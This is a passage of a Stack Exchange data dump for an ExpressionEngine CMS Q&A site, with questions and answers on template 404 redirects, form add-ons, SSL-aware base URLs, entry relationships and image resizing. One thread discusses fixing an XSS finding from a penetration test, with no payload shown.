  <row Id="25707" PostTypeId="1" CreationDate="2014-09-16T16:09:29.680" Score="0" ViewCount="128" Body="&lt;p&gt;Hi can anyone please help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a template group called &quot;blog&quot;, in that template group i have the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;index.html&#xA;view.html&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&quot;index.html&quot; holds all the blog items getting pulled through with channel entry tags limited to 9 with pagination.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;{page_uri}&quot;&amp;gt;view page&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &quot;view.html&quot; naturally holds the indivudal item. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets say &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;http://www.domain.com/blog/news-item-one&quot; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is an exisiting url HOWEVER&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it was miss-spelt or someone made up a fake url eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &quot;http://www.domain.com/blog/news-blah-sdf-d-twenty&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically what happens at the moment is the page constantly loads. I have strict_urls enabled and have a set my own 404 page which is in a template group called &quot;site&quot; and its name is &quot;404.html&quot;. This works fine when there is just one incorrect segment eg: /fake/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can i get any not genuine segment_2's to redirect to the 404 page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thankyou.&lt;/p&gt;&#xA;" OwnerUserId="3335" LastActivityDate="2014-09-16T18:08:28.140" Title="Invalid &quot;segment_2&quot; to return 404" Tags="|404|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25708" PostTypeId="2" ParentId="25707" CreationDate="2014-09-16T17:01:59.583" Score="1" Body="&lt;p&gt;Like mark says, require entry in combination with the no_results conditional&lt;br /&gt;&#xA;(i generally use dynamic=no and point the tag to the segment myself)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&amp;quot;blog&amp;quot; &#xA;  require_entry=&amp;quot;yes&amp;quot; url_title=&amp;quot;{segment_2}&amp;quot; &#xA;  dynamic=&amp;quot;no&amp;quot;}&#xA;&#xA;  &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;&#xA;  {if no_results}&#xA;    {redirect=&amp;quot;404&amp;quot;}&#xA;  {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;Handle list and detail: With a single catch-all template&lt;/h2&gt;&#xA;&lt;p&gt;At a later stage you can use add-ons and sophisticated tools, but a basic way to clean up things is a couple of &lt;em&gt;&lt;strong&gt;simple&lt;/strong&gt;&lt;/em&gt;(1) conditionals, for when you actually mean 404. e.g. when segment_2 is empty you want to show the list, but when no entries are found just show a message, not the 404. When an invalid url_title is provided (e.g. segment_2 not empty) only then redirect to 404&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&amp;quot;blog&amp;quot; &#xA;    {if segment_2==&amp;quot;&amp;quot;}limit=&amp;quot;9&amp;quot;{/if} &#xA;    {if segment_2!=&amp;quot;&amp;quot;}require_entry=&amp;quot;yes&amp;quot; url_title=&amp;quot;{segment_2}&amp;quot;{/if} &#xA;    dynamic=&amp;quot;no&amp;quot;}&#xA;&#xA;    {if segment_2==&amp;quot;&amp;quot;} (listview) {title} {/if} &#xA;    {if segment_2!=&amp;quot;&amp;quot;} (detailview) {title} {body} etc.{/if} &#xA;&#xA;    {if no_results}&#xA;      {if segment_2==&amp;quot;&amp;quot;}Sorry no entries we're found{/if} &#xA;      {if segment_2!=&amp;quot;&amp;quot;}{redirect=&amp;quot;404&amp;quot;}{/if} &#xA;    {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;Handle list and detail: With Sub-templates&lt;/h2&gt;&#xA;&lt;p&gt;Or split up in the &lt;code&gt;index&lt;/code&gt; template and have two templates to handle things separately:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_2==&amp;quot;&amp;quot;}{embed=&amp;quot;blog/listview&amp;quot;}{/if} &#xA;{if segment_2!=&amp;quot;&amp;quot;}{embed=&amp;quot;blog/detailview&amp;quot;}{/if} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;Other thoughts&lt;/h2&gt;&#xA;&lt;p&gt;This gets ugly and sophisticated soon if you also want to catch archives (&lt;code&gt;2014/10&lt;/code&gt;), and categories (&lt;code&gt;category/bada55&lt;/code&gt;). At which point you can decide to use dedicated templates for each:&lt;br /&gt;&#xA;&lt;code&gt;blog/&lt;/code&gt; (list),&lt;code&gt;blog/entry/...&lt;/code&gt; (detail), &lt;code&gt;blog/archive/...&lt;/code&gt;, etc.&#xA;and then you have to decide if &lt;code&gt;blog/entry/&lt;/code&gt; (empty segment_3) should 404 or redirect to &lt;code&gt;/blog/&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;or ... go with some add-on solution (switchee, conditionals, template partials with stash etc. or resource-router (tip, for, if you're into PHP and like to catch stuff early!)) Anyway, whichever you choose, you'll probably regret it later on also, for maintainability sake. So, in the end, it is all a matter of taste, tools and practice that you need to grow onto and into.&lt;/p&gt;&#xA;&lt;p&gt;Happy coding...&lt;/p&gt;&#xA;&lt;p&gt;(1) Simple conditionals has/had to do with parse order. The simple {if segment_x} conditional is parsed early. This is a topic by itself, which i leave to the reader to lookup.&lt;/p&gt;&#xA;" OwnerUserId="155" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2014-09-16T18:08:28.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25709" PostTypeId="1" AcceptedAnswerId="25717" CreationDate="2014-09-16T17:25:21.003" Score="2" ViewCount="318" Body="&lt;p&gt;I am using FreeForm Pro (4.2.0) with EE2 (2.9.0).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are using the &quot;Composer&quot; method of creating forms to generate the select input Country and &lt;a href=&quot;http://www.solspace.com/docs/freeform/default_fieldtypes/#state_select&quot; rel=&quot;nofollow&quot;&gt;State&lt;/a&gt; field types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am seeing &quot;Afghanistan&quot; and &quot;Alabama&quot; being selected by default (by virtue of them being listed first in the alphabet). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to add a &lt;em&gt;blank&lt;/em&gt; leading option  something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;option value=&quot;&quot; selected&amp;gt;Please select...&amp;lt;/option&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Having the first value in the list selected is not working well versus form validation.&lt;/p&gt;&#xA;" OwnerUserId="210" LastEditorUserId="210" LastEditDate="2016-03-15T16:00:32.530" LastActivityDate="2016-03-15T16:00:32.530" Title="FreeForm Pro Composer State and Country field type how to show unselected?" Tags="|solspace-freeform|solspace|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25710" PostTypeId="2" ParentId="24861" CreationDate="2014-09-16T20:11:55.503" Score="0" Body="&lt;p&gt;I solved the problem by using Logmein &lt;a href=&quot;http://devot-ee.com/add-ons/logmein&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/logmein&lt;/a&gt;. In my notification template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{path=&quot;registreren/return/&quot;}/{friends_message_id}/{friends_recipient_username}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In template 'return' I grab the username wrapped in a condition if they are logged out:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_out}&#xA;    {exp:logmein:now username=&quot;{segment_4}&quot;}&#xA;{/if}&#xA;&#xA;{redirect= '/vrienden/mijn_berichten/message/{segment_3}/'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and lead the user (now logged in) further to the desired template where he/she can see the message.&#xA;Works like a charm.&#xA;Thanks for making this plugin!&lt;/p&gt;&#xA;" OwnerUserId="1615" LastEditorUserId="1615" LastEditDate="2014-09-17T07:22:20.000" LastActivityDate="2014-09-17T07:22:20.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25711" PostTypeId="2" ParentId="18140" CreationDate="2014-09-16T20:59:16.950" Score="1" Body="&lt;p&gt;Just ran into this same situation, instead of hacking cartthrob to accomplish, just modify the element after the form is created with some javascript to add the data-* attribute:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;    var checkout_form=document.getElementById('checkout');&#xA;    checkout_form.setAttribute(&quot;data-somekey&quot;, &quot;someval&quot;);&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not beautiful but simple and it works!&lt;/p&gt;&#xA;" OwnerUserId="3365" LastActivityDate="2014-09-16T20:59:16.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25712" PostTypeId="1" CreationDate="2014-09-16T21:16:40.627" Score="3" ViewCount="136" Body="&lt;p&gt;Our live environment is over SSL, but our local sandboxes aren't. This requires us to use {file:secure_url} in our exp:channel_files:files tag pair. Is there a way to output this URL that will inherit the protocol currently in use? Or a way to get the URL without the protocol or domain? I didn't see them in the &lt;a href=&quot;http://www.devdemon.com/documentation/tag/files/&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other issue I'm seeing is that the {file:secure_url} and {file:url} tags are outputting a URL to the live (.com) site domain on my local sandbox which is (.dev) - I don't see how that is possible, looking in the channel_files table. Any thoughts on that?&lt;/p&gt;&#xA;" OwnerUserId="380" LastEditorUserId="197" LastEditDate="2014-09-17T00:19:57.420" LastActivityDate="2015-12-30T00:46:57.677" Title="Any way to output a relative URL in exp:channel_files:files?" Tags="|devdemon|ssl|channel-files|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25713" PostTypeId="2" ParentId="7545" CreationDate="2014-09-16T23:35:00.063" Score="1" Body="&lt;p&gt;I had this problem and was getting a blank white page in some but not all instances. My 404 uses an entry so the client can modify the 404 message - so my 404 consisted of an entries tag pulling in a specific &lt;code&gt;entry_id&lt;/code&gt;. Because the 404 might be invoked from anywhere else on the site, its entries tag was being confused by unexpected URL segments, so it needed the &lt;code&gt;dynamic=&quot;off&quot;&lt;/code&gt; parameter.&lt;/p&gt;&#xA;" OwnerUserId="3102" LastActivityDate="2014-09-16T23:35:00.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25714" PostTypeId="2" ParentId="25712" CreationDate="2014-09-17T00:19:00.593" Score="0" Body="&lt;p&gt;This doesn't quite answer your specific question, but it might help anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally when I've done SSL sites, which also haven't had local sandboxes serving SSL, I just use the config file to set the base URL and site URL conditionally with or without the https.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Focus Lab's Master Config already does this automatically. (excerpted below)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$protocol                          = (isset($_SERVER['HTTPS']) &amp;amp;&amp;amp; $_SERVER['HTTPS'] == 'on') ? 'https://' : 'http://';&#xA;$base_url                          = $protocol . $_SERVER['HTTP_HOST'];&#xA;$base_path                         = $_SERVER['DOCUMENT_ROOT'];&#xA;$system_folder                     = APPPATH . '../';&#xA;$images_folder                     = 'images';&#xA;$images_path                       = $base_path . '/' . $images_folder;&#xA;$images_url                        = $base_url . '/' . $images_folder;&#xA;&#xA;$env_config['index_page']          = '';&#xA;$env_config['site_index']          = '';&#xA;$env_config['base_url']            = $base_url . '/';&#xA;$env_config['site_url']            = $env_config['base_url'];&#xA;$env_config['cp_url']              = $env_config['base_url'] . 'admin.php';&#xA;$env_config['theme_folder_path']   = $base_path   . '/themes/';&#xA;$env_config['theme_folder_url']    = $base_url    . '/themes/';&#xA;$env_config['emoticon_path']       = $images_url  . '/smileys/';&#xA;$env_config['emoticon_url']        = $images_url  . '/smileys/';&#xA;$env_config['captcha_path']        = $images_path . '/captchas/';&#xA;$env_config['captcha_url']         = $images_url  . '/captchas/';&#xA;$env_config['avatar_path']         = $images_path . '/avatars/';&#xA;$env_config['avatar_url']          = $images_url  . '/avatars/';&#xA;$env_config['photo_path']          = $images_path . '/member_photos/';&#xA;$env_config['photo_url']           = $images_url  . '/member_photos/';&#xA;$env_config['sig_img_path']        = $images_path . '/signature_attachments/';&#xA;$env_config['sig_img_url']         = $images_url  . '/signature_attachments/';&#xA;$env_config['prv_msg_upload_path'] = $images_path . '/pm_attachments/';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With something like this in place, you don't have to worry about relative paths, since the base path used for all path variables will include the correct protocol.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2014-09-17T00:19:00.593" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25715" PostTypeId="1" CreationDate="2014-09-17T00:33:13.127" Score="2" ViewCount="233" Body="&lt;p&gt;One of the sites I'm working on was subject to a penetration test and this is one of the items of feedback: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0bvbT.jpg&quot; alt=&quot;issue&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand the issue in theory however as I've never had to deal with this sort of thing I haven't the slightest idea where to start and am looking for guidance - settings to change, config files to edit etc. I've added sanitization to other forms on the site, however as the search fields are generated by EE I'm unsure how to sanitize these inputs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Site can be accessed &lt;a href=&quot;http://cp188.ezyreg.com/~lolo1334/bang/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3077" LastActivityDate="2015-01-17T19:58:50.147" Title="XSS vulnerability - malicious cookie value" Tags="|search|2.8|cookies|xss|csrf|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25717" PostTypeId="2" ParentId="25709" CreationDate="2014-09-17T07:41:44.217" Score="1" Body="&lt;p&gt;Sorry, that is currently not available. I recommend submitting this as a Feature Request under the specific add-on category. It'll also give other users the option to vote up the feature request, and help us prioritize features to add in upcoming versions of this add-on. :)&#xA;&lt;a href=&quot;http://support.solspace.com/support/discussions&quot; rel=&quot;nofollow&quot;&gt;http://support.solspace.com/support/discussions&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the meantime, if you feel adventurous, you can add an empty &quot;Please select...&quot; option by going into /system/expressionengine/third_party/freeform/default_fields/freeform_ft.country_select.php, and finding the display_field() method (near line 94). In that general area you will find this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$countries = $this-&amp;gt;get_countries();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Change that line to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$country_select_one[''] = 'Please select...';&#xA;$countries = $this-&amp;gt;get_countries();&#xA;$countries = array_merge($country_select_one, $countries);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will add an option with an empty value at the beginning of the country dropdown list.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-09-17T07:41:44.217" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="25718" PostTypeId="1" AcceptedAnswerId="26243" CreationDate="2014-09-17T09:33:48.283" Score="0" ViewCount="200" Body="&lt;p&gt;I am using the Add-on AJW Export to export member details in CSV format. Each time the page loads the CSV format downloads automatically. Anyone any suggestions how to activate the download via a click rather than on page load..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:ajw_export &#xA;    sql=&quot;SELECT *&#xA;    FROM exp_member_data&quot; &#xA;        format=&quot;csv&quot; filename=&quot;members.csv&quot;&#xA;                            }&lt;/p&gt;&#xA;" OwnerUserId="1916" LastActivityDate="2014-10-15T13:28:52.503" Title="AJW Export download button" Tags="|members|freemember|export|sql|csv|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25719" PostTypeId="1" CreationDate="2014-09-17T09:42:55.307" Score="0" ViewCount="40" Body="&lt;p&gt;Basically i have a a channel called &quot;testimonials&quot;, this channel has all the testimonial entries. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have another channel called &quot;franchise&quot; this has all the entires for the franchises.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically i want to create a testimonial and with a playa field select what franchise entry this is associated with, and then on the franchise &quot;view&quot; page bring through any testimonials that is related to that entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how to do this? or know of another way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EG:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Testimonial One &gt; Conwy Franchise&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then on the Conwy franchise view page bring through &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Testimonial One.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks Wes.&lt;/p&gt;&#xA;" OwnerUserId="3335" LastActivityDate="2014-09-17T11:27:32.300" Title="Linking entries with playa" Tags="|playa|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25720" PostTypeId="2" ParentId="5978" CreationDate="2014-09-17T09:53:55.743" Score="0" Body="&lt;p&gt;As there is no action element on the add to cart form I need to get the URL using the following js&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var url = $(this.form).find('input[name=&quot;return_url&quot;]').val();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="730" LastActivityDate="2014-09-17T09:53:55.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25721" PostTypeId="2" ParentId="25715" CreationDate="2014-09-17T10:24:55.173" Score="1" Body="&lt;p&gt;I just tested this (really quickly) on one of my sites running 2.8.1 and couldn't exploit the exp_csrf cookie in the way described by your report.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I &lt;em&gt;could&lt;/em&gt; do it on your site using the exact same method. So perhaps a simple update to 2.8.1 or higher will fix the problem for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE (from my comment)&#xA;The site I tested on had no search form, although the cookie was present. I just tested on a site running 2.9 with a search form and managed to make the injection. I should add that this is without any input, simply the token being written into the form. I'm not exactly sure how this could be used by an attacker though since it involves manipulating the cookie on your domain - if that happens then you'd probably have bigger problems. &lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2014-09-19T14:03:05.430" LastActivityDate="2014-09-19T14:03:05.430" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="25722" PostTypeId="1" CreationDate="2014-09-17T11:06:04.500" Score="0" ViewCount="31" Body="&lt;p&gt;I have a channel called blog, and i have just created a category group with some categories. I have assigned the group to the the channel &quot;blog&quot;, as it stands each entry has no category assigned, is it possible to use a default category for the exisiting and new entries created until another is selected. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Categories:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;General&#xA;Another category&#xA;Another category&#xA;Another category&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically all the entries to automatically have General as a category unless i go into the entry and chance to a different category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or do i have to go into every entry and set a category?&lt;/p&gt;&#xA;" OwnerUserId="3335" LastActivityDate="2014-09-17T11:13:40.973" Title="ExpressionEngine Automatic Category if not one set" Tags="|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25723" PostTypeId="2" ParentId="25722" CreationDate="2014-09-17T11:13:40.973" Score="1" Body="&lt;p&gt;You can set a default category for all entries in a channel within the preferences for that channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Admin-&gt;Channels-&gt;Edit preferences&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However if you mean that you want a category set &lt;em&gt;unless&lt;/em&gt; another category is selected then you would need to use some kind of conditional statement in your template to pull entries that are not in any category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd think about doing this using the category=&quot;not 1&quot; parameter.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-09-17T11:13:40.973" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25724" PostTypeId="1" AcceptedAnswerId="25728" CreationDate="2014-09-17T11:25:53.233" Score="1" ViewCount="92" Body="&lt;p&gt;I am pulling in images / video thumbs using Channel Video (so have no control over source size). If the video doesn't have an HD thumb, the image is much smaller.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want the image to be resized (stretched) up the way and cropped in these instances. So, no matter what the image size is, it ends up with the dimensions below...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:ce_img:single src='{video:img_url_hd}' width='480' height='308' crop='yes|center,center' output='{made}' quality='68'}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works correctly for images larger than the above dimensions. But smaller images stay the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess I am asking:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Would I be right in saying the resize and crop has no effect on images smaller than the desired/specified dimensions? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Is there a way for force the resizing and cropping on these smaller images?&lt;/p&gt;&#xA;" OwnerUserId="3588" LastActivityDate="2014-09-17T12:42:32.210" Title="Resizing and cropping an image that is smaller than the desired/specified dimensions" Tags="|ce-image|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25725" PostTypeId="2" ParentId="25719" CreationDate="2014-09-17T11:27:32.300" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;Create Playa fields. &lt;/li&gt;&#xA;&lt;li&gt;Add them to franchises. Actually what you illustrated is what you have to do opposite. Instead Testimonial &gt; Franchise, from Franchise Channel entry find playa relation field, which should contain list of testimonials and choose which to to relate with&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Few notes: &#xA;This is very simple relation - you can consider using built in EE relation field. If you are on latest EE.2.9 and Playa note they changed the syntax.&#xA;!! Consider playa documentation&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in template you can visualize relation like so &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{testimonials}&#xA;  {testimonials:author}&#xA;  {testimonials:quote}&#xA;{/testimonials}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is just an example. &lt;em&gt;testimonials&lt;/em&gt; is the name of the playa filed. &lt;/p&gt;&#xA;" OwnerUserId="993" LastActivityDate="2014-09-17T11:27:32.300" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="25727" PostTypeId="1" AcceptedAnswerId="25736" CreationDate="2014-09-17T12:35:25.707" Score="0" ViewCount="62" Body="&lt;p&gt;After updating to Expressionengine 2.9 and MSM 2.1.7 the client admins are not able to switch to the second site anymore (same permissions as on the first site), superadmins have access.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody know how to solve this problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&lt;/p&gt;&#xA;" OwnerUserId="2261" LastActivityDate="2014-09-17T18:37:04.133" Title="Control panel: access denied on second site" Tags="|control-panel|multi-site-manager|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25728" PostTypeId="2" ParentId="25724" CreationDate="2014-09-17T12:42:32.210" Score="3" Body="&lt;p&gt;I haven't used CE Image, but looking at the documentation it seems you need a parameter &quot;allow_scale_larger&quot; &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-image/user-guide/parameters#allow_scale_larger&quot; rel=&quot;nofollow&quot;&gt;http://www.causingeffect.com/software/expressionengine/ce-image/user-guide/parameters#allow_scale_larger&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here's how you can achieve the cropping effect with CSS: &lt;a href=&quot;http://jsfiddle.net/s552453s/&quot; rel=&quot;nofollow&quot;&gt;http://jsfiddle.net/s552453s/&lt;/a&gt; Unfortunately you are limited to cropping from the top instead of center without using Javascript to calculate image heights dynamically and use the padding/margin hack to center it within the div.&lt;/p&gt;&#xA;" OwnerUserId="2692" LastActivityDate="2014-09-17T12:42:32.210" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25729" PostTypeId="1" CreationDate="2014-09-17T12:59:21.817" Score="1" ViewCount="80" Body="&lt;p&gt;Has anyone had trouble using the attachments tag in Krea Helpdesk?  I'm using Helpdesk 1.2.5 with EE 2.9, the form is working fine with the {attachments} tag left out, but as soon as I put it in, I get the following message: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Error&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have an invalid conditional in your template. Please review your conditionals for an unclosed string, invalid operators, a missing }, or a missing {/if}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Parser State: Unexpected ‘maxFileSize’ (STRING); expected RD in on line 28.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are no IF statements on the page and all tags are closed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Form Code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:helpdesk:satf}&#xA;        &amp;lt;select name=&quot;topic&quot;&amp;gt;&#xA;            &amp;lt;option&amp;gt;Select Topic&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option&amp;gt;Option 1&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option&amp;gt;Option 2&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option&amp;gt;Option 3&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option&amp;gt;Option 4&amp;lt;/option&amp;gt;&#xA;        &amp;lt;/select&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;client_name&quot; name=&quot;client_name&quot; placeholder=&quot;Name&quot; /&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;client_email&quot; name=&quot;client_email&quot; placeholder=&quot;Email&quot;/&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;client_phone&quot; name=&quot;client_phone&quot; placeholder=&quot;Phone&quot;/&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;summary&quot; name=&quot;summary&quot; placeholder=&quot;Summary&quot;/&amp;gt;&#xA;        &amp;lt;textarea name=&quot;issue&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;        &amp;lt;label&amp;gt;Attachments&amp;lt;/label&amp;gt;&#xA;        {attachments}&#xA;        &amp;lt;input type=&quot;submit&quot; type=&quot;submit&quot; /&amp;gt;&#xA;   {/exp:helpdesk:satf}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="984" LastEditorUserId="984" LastEditDate="2014-09-18T08:53:35.610" LastActivityDate="2014-09-18T08:53:35.610" Title="Krea Helpdesk - attachments tag not working" Tags="|uploads|attachment|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="25730" PostTypeId="1" CreationDate="2014-09-17T14:13:32.843" Score="0" ViewCount="233" Body="&lt;p&gt;Now that I thin k of it, is it possible to add attributes (functions or required classes) to the submit button in a freeform:edit form?&#xA;...................&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Freeform Pro's both form and edit forms and need a required checkbox field on the edit form.  Unfortunately I am not having any success.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The architecture is as follows:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;user fills in fields and submits form (button is labelled continue)&lt;/li&gt;&#xA;&lt;li&gt;user is taken to a review form (freeform:edit) where they can update their information.  On this page I have added an additional required checkbox field that needs to be checked  prior to submit.  &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The problem with freeform is that this field already has a value (n).&#xA;What I need to do is remove this value on load of the edit form page and make this field required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems as though the only attr available to add a function is onclick.  Unfortunately, nothing will be clicked.  I need the chaeckbox to be required without anything being clicked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason I set up the form this way is because I want the user to be able to edit their info before the confirmation email is sent.  The confirm email is sent once the edit form is sent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?  I'm assuming it is and that I'm missing something 